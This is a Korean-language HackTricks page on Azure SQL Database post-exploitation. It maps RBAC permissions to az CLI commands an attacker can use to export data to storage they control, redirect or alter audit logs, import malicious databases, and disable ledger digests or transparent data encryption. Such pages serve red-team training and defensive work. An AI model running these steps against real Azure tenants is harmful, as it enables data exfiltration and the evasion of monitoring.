Az - SQL Database Post Exploitation

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQL Database Post Exploitation

SQL Database에 대한 자세한 정보는 다음을 확인하세요:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

이 권한을 통해 공격자는 손상된 환경 내에서 데이터베이스를 생성하고 업데이트할 수 있습니다. 이 사후 활용 활동은 공격자가 악성 데이터를 추가하거나 데이터베이스 구성을 수정하거나 추가적인 지속성을 위한 백도어를 삽입할 수 있게 하여, 운영을 방해하거나 추가적인 악의적인 행동을 가능하게 할 수 있습니다.

bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

이 권한(Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write)으로 삭제된 데이터베이스를 복원할 수 있습니다:

bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

이 권한을 통해 공격자는 손상된 환경 내에서 elasticPools를 생성하고 업데이트할 수 있습니다. 이 사후 활용 활동은 공격자가 악성 데이터를 추가하거나 데이터베이스 구성을 수정하거나 추가적인 지속성을 위한 백도어를 삽입할 수 있게 하여, 운영을 방해하거나 추가적인 악의적인 행동을 가능하게 할 수 있습니다.

bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

이 권한을 사용하면 Azure SQL Server의 감사 설정을 수정하거나 활성화할 수 있습니다. 이는 공격자나 권한이 있는 사용자가 감사 구성을 조작하여 흔적을 감추거나 감사 로그를 자신이 제어하는 위치로 리디렉션할 수 있게 할 수 있습니다. 이는 보안 모니터링을 방해하거나 행동을 추적할 수 있게 할 수 있습니다. 주의: Blob Storage를 사용하여 Azure SQL Server에 대한 감사를 활성화하려면 감사 로그를 저장할 수 있는 스토리지 계정을 연결해야 합니다.

bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

이 권한을 사용하면 Azure SQL Server의 연결 정책을 수정할 수 있습니다. 이 기능은 서버 수준의 연결 설정을 활성화하거나 변경하는 데 악용될 수 있습니다.

bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

이 권한을 사용하면 Azure SQL Server에서 스토리지 계정으로 데이터베이스를 내보낼 수 있습니다. 이 권한을 가진 공격자 또는 승인된 사용자는 데이터베이스에서 민감한 데이터를 내보내어 자신이 제어하는 위치로 유출할 수 있으며, 이는 상당한 데이터 유출 위험을 초래합니다. 이를 수행하기 위해서는 스토리지 키를 아는 것이 중요합니다.

bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

이 권한을 사용하면 Azure SQL Server에 데이터베이스를 가져올 수 있습니다. 이 권한을 가진 공격자 또는 승인된 사용자는 악성 또는 조작된 데이터베이스를 업로드할 수 있습니다. 이는 민감한 데이터에 대한 제어를 얻거나 가져온 데이터베이스 내에 유해한 스크립트나 트리거를 삽입하는 결과를 초래할 수 있습니다. 추가로, Azure의 자신의 서버로 가져올 수 있습니다. 참고: 서버는 Azure 서비스와 리소스가 서버에 접근할 수 있도록 허용해야 합니다.

bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

이 권한을 가진 사용자는 Azure SQL 서버의 연결 정책을 수정하고 검색할 수 있습니다. 이러한 권한은 클라이언트가 서버에 연결하는 방식을 변경할 수 있게 하며, 리디렉션 또는 프록시와 같은 방법 중에서 선택할 수 있습니다. 잘못 구성된 경우 보안을 약화시키거나 트래픽을 리디렉션하거나 민감한 데이터를 가로챌 수 있습니다.

bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

이 권한을 가진 사용자는 Azure SQL Server와 관련된 암호화 키를 업데이트하고 검색할 수 있습니다. 이러한 키는 종종 암호화를 통해 민감한 데이터를 보호하는 데 사용되므로, 이를 조작하면 무단 복호화 또는 키 회전 변경을 허용하여 데이터 보안을 위협할 수 있습니다.

bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

이 권한은 Azure SQL Database의 Ledger Digest를 비활성화할 수 있게 하며, 이는 데이터의 무결성을 검증하는 암호화 다이제스트 레코드를 Azure Blob Storage에 주기적으로 업로드하는 것을 중단합니다.

bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

이 권한은 인증된 사용자 또는 공격자가 Azure SQL 데이터베이스에서 투명 데이터 암호화(TDE) 설정을 활성화, 비활성화 또는 수정할 수 있게 하여 암호화 구성을 변경함으로써 데이터 보안에 영향을 미칠 수 있습니다.

bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기